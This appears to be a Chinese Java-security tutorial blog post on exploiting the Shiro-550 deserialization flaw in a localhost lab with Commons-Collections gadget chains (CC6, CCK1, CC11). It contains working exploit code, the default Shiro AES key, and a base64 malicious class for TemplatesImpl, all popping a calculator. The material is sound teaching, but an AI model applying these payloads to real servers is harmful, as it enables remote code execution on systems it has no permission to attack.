本文为JAVA安全系列文章第十五篇,主要内容为shiro反序列化下的CC链。
在上一篇中,我们学习了CC3链及其结合CC6改造的通杀链,并说明了其与CCK1,CC11这两条链的区别,下面我们就结合shiro 550 经典反序列化漏洞的利用来学习CCK1,CC11。
0x01 环境搭建
一、Shiro 550 反序列化原理
虽然我们还尚未开启组件篇讲shiro,但作为近几年生命力最持久的漏洞之一,养活安全工程师的漏洞之一,hvv神洞之一,相信大家在平时做渗透或者打攻防的时候都碰到过shiro,然后使用工具一把梭直接getshell。
由于本文重点是讲链子,故此处就不进行代码分析讲它产生漏洞的原因了,我们放到组件篇之shiro中去讲。不过此处还是提一下原理:
为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息先序列化,然后AES加密再base64编码后保存在Cookie的rememberMe字段中,下次读取时先进行base64解码,然后AES解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。
二、IDEA中启动Tomcat搭建环境
我们直接采用p神在《JAVA安全漫谈》中准备的环境来进行搭建,项目地址:https://github.com/phith0n/JavaThings
我们下载下来后在IDEA中打开shirodemo目录,maven会自动去下载pom.xml文件中的依赖,然后如下配置tomcat:
配置完点击apply,再点击ok。启动tomcat,待启动完成后,浏览器中访问http://localhost:8090/shirodemo/会看到一个登录界面:
初次使用,Tomcat控制台大概率会中文乱码,参考这篇文章解决:https://blog.csdn.net/gaogzhen/article/details/107307459
不知道如何下载配置Tomcat,Maven,如何在IDEA中启动Tomcat的读者,自行百度或参考https://www.cnblogs.com/gh110/p/15869264.html,此处不赘述。
三、环境说明
为了不引入其他干扰因素,环境中没有使用任何Web框架,整个项目只有两个代码文件,index.jsp和login.jsp,依赖这块也仅有下面几个:
shiro-core、shiro-web,这是shiro本身的依赖
javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖 commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
commons-collections 3.2.1,为了演示反序列化漏洞,增加了commons-collections依赖
另外,我的Tomcat版本为9.0.59,服务端使用的JDK11。
0x02 为什么需要CCK1、CC11
一、使用CC6攻击shiro
1.攻击流程
我们输入正确账号密码root/secret,然后勾选Remember me,登录成功后服务端会返回一个rememberMe的cookie:
结合前面说的原理,我们攻击的流程应是:
(1)使用CC6链生成一个序列化的弹计算器的Payload
(2)将此序列化后的Payload使用默认key(kPH+bIxk5D2deZiIxcaaaA==)进行AES加密再Base64编码作为密文
(3)使用Burp将此密文作为rememberMe的cookie发送给服务端
2.代码编写
第一步我们修改下之前学的简化版CC6的代码,使其返回一个序列化的弹计算器的Payload:
public class SimplifiedCC6 {
public static byte[] getPayload() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] fakeformers = {new ConstantTransformer(1)};
Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
//先传入人畜无害的fakeformers避免put时就弹计算器
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"test");
lazyMap.remove("xxx");
//反射修改chainedTransformer中的iTransformers为transforms
Class clazz = chainedTransformer.getClass();
Field field = clazz.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transforms);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
return bos.toByteArray();
}
}
第二步,AES加密再base64编码的这个过程我们直接使用的shiro内置的类 org.apache.shiro.crypto.AesCipherService ,最后得到的是一段base64字符串。
故我们应先在Maven中加入相关依赖:
代码如下:
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.IOException;
public class SimplifiedCC6_ShiroPayload {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
byte[] payloads = SimplifiedCC6.getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext);
}
}
第三步,使用Burp将获得的字符串作为Cookie的rememberMe字段发送给服务端
然而,并没有弹出计算器,而是报出如下错误:
这是为什么呢?
二、为什么CC6无法利用,会爆错误?
如此高端的问题,对于我现在的水平是无法刨根到底的。这也不是本文的重点,以下来自p神《JAVA安全漫谈》:
shiro在反序列化时使用的是org.apache.shiro.io.ClassResolvingObjectInputStream,这是一个ObjectInputStream的子类,其重写了 resolveClass 方法:
resolveClass方法是在读取序列化流的时候,读取一个字符串形式的类名,通过这个方法来找到对应的 java.lang.Class 对象。
看下其父类ObjectInputStream#resolveClass是啥样的:
通过对比发现不同点在于ClassResolvingObjectInputStream#resolveClass使用的是org.apache.shiro.util.ClassUtils.forName(),调试会发现实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass。
出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 即org.apache.commons.collections.Transformer 的数组。
网上很多文章的结论是, Class.forName 支持加载数组,而 ClassLoader.loadClass 不支持加载数组,这个区别导致了问题。但事情没有那么简单。
经过调试,中间涉及到大量Tomcat对类加载的处理逻辑。
最后的结论是:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。CommonsCollections6中用到了Transformer数组,故其无法进行利用。
早之前对此进行讨论的相关文章:
https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html
(Go low – Exploiting JVM deserialization vulns despite a broken class loader )
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
(Orange: Pwn a CTF Platform with Java JRMP Gadget,评论区很精彩)
https://blog.zsxsoft.com/post/35
(Shiro 1.2.4(SHIRO-550)漏洞之发散性思考)
如果想自己进行调试来看下,可以参考这两篇文章:
https://www.anquanke.com/post/id/192619
(Java反序列化利用链分析之Shiro反序列化)
https://www.cnblogs.com/W4nder/p/14508817.html
(shiro-1.2.4反序列化分析踩坑)
0x03 为shiro反序列化利用而生的CC链
一、CCK1链
Orange在其博客中采用JRMP的方式解决了上面的问题。此处我们解决的思路是将Transformer数组长度降为1。怎么降为1呢?这就要用到TemplatesImpl这个类了。
在上篇CC3链的分析中,我们首先使用TemplatesImpl改造TransformedMap CC1 Demo,此时Transformer数组长度就变为2了:
同样,如果我们使用TemplatesImpl改造之前学的简化版CC6,也可使其长度变为2。
那接下来就看能否在CC6中将这个数组的长度变为1了。
我们回顾下CC6的Gadget Chain:
其中,TiedMapEntry 的构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个 getValue 方法,调用了map的 get方法,并传入key:
此处的map我们传入的是LazyMap,而在LazyMap的get()方法中,若key不存在则会调用factory.transform(key),factory为一个Transformer类型:
如果我们让此处的factory为InvokerTransformer对象,key为TemplatesImpl对象,那我们就不需要ConstantTransformer了。这就是CCK1链!!!
代码如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CCK1 {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
//先传入一个transformer,其iMethodName为人畜无害的getClass,避免put时就弹计算器
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "test");
lazyMap.clear();
//反射修改transformer中的iMethodName为newTransformer
setFieldValue(transformer,"iMethodName","newTransformer");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
二、CCK1链攻击shiro
参照CC6攻击shiro,我们很容易就能获取到一个利用CCK1构造的弹计算器的Payload:
使用Burp发送Payload,弹出计算器:
三、CC10/CC11和其他可用于打shiro的CC链
其实所谓的CC10和CC11其精髓也就是上面说的。
CC10链:
https://github.com/wh1t3p1g/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections10.java
CC11链:
http://wjlshare.com/archives/1536
这两条链与CCK1的区别是后半部分与Ysoserial CC6一样,且使用了javasist(一个字节码操纵的第三方库,后面会学到)配合TemplatesImpl来产生恶意字节码。但CC10与CC11我并没有看出有啥区别,我怀疑这俩只是同一条链的不同写法而已。
其实除了CCK1和CC11,其他的一些CC链也可以用于打shiro。比如原生的CC2链就可以直接用于shiro的利用,因为它也是没有数组的;再比如我们将上篇中提到的CC3的通杀改造链进行同上面的改造也可以使其用于打shiro。不过嘛,有CCK1与CC11也就够用了,这俩貌似是最好用的。
0x04 总结
1.Shiro不是遇到Tomcat就一定会有数组这个问题,在Orange那篇文章的评论区最下面,有师傅指出:
在JDK中ClassLoader.loadClass确实不支持数组,但在shiro中并非如此,可以发现[Ljava.lang; 等数组能加载,shiro中的loadClass最终会跳到tomcat上下文执行Class.forName,和loadClass应该是无关的,但是jdk和tomcat的classpath是相互独立的,所以在Tomcat上下文中无法加载第三方cc,添加tomcat启动设置,或者设置loader就行
可惜文章链接现在好像访问不到了。
2.CCK1可以看成是使用TemplatesImpl改造且无Transformer数组的简化版CC6的改造链;CC11可以看成是使用TemplatesImpl改造且无Transformer数组的原生CC6的改造链。
有的读者会说,一个简化版CC6的改造,一个原生CC6的改造还有必要分为两条链吗?
有!!!Ysoserial毕竟是款专业的反序列化利用工具,考虑到的东西比较全面。
在之前的一次渗透中遇到一次shiro默认key+CCK1可打,客户改后CCK1不可打,试了几款工具都找不到利用链,最后使用feihong写的那款shiro利用工具(内置CC10)可以:
3.Shiro-550的修复并不意味着反序列化漏洞的修复,可能只是改了key且无法爆破出来。Shiro-550的利用方式目前我知道的有CC链,CB链,JRMP。
4.目前网上公开的CC链我知道的有CC1-CC11,CCK1-CCK4,其实我们已经学了一大半了。CCK2其实是适配commons-collections4.0的CCK1,区别只是在于包名由org.apache.commons.collections.*变为org.apache.commons.collections4.*,LazyMap.decorate()变为LazyMap.lazyMap():
https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollectionsK2.java
CCK3其实就是前面学的简化版CC6,CCK4是适配commons-collections4.0的CCK3,两者区别与上面的一样。
https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollectionsK3.java
https://github.com/zema1/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollectionsK4.java
还剩下CC2,CC4,CC5,CC7-CC9六条链,后面会加快进度,尽快把剩下的更完,结束CC链的学习。
如果完全理解了前面的分析文章,那本文的内容也就不难理解了。
下一篇更哪条链呢?
欲知后事如何,且听下回分解(狗头)
参考:
p神《JAVA安全漫谈》
Java安全系列文集
第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用
第8篇:JAVA安全|Gadget篇:TransformedMap CC1链
第10篇:JAVA安全|Gadget篇:LazyMap CC1链
第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链
第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~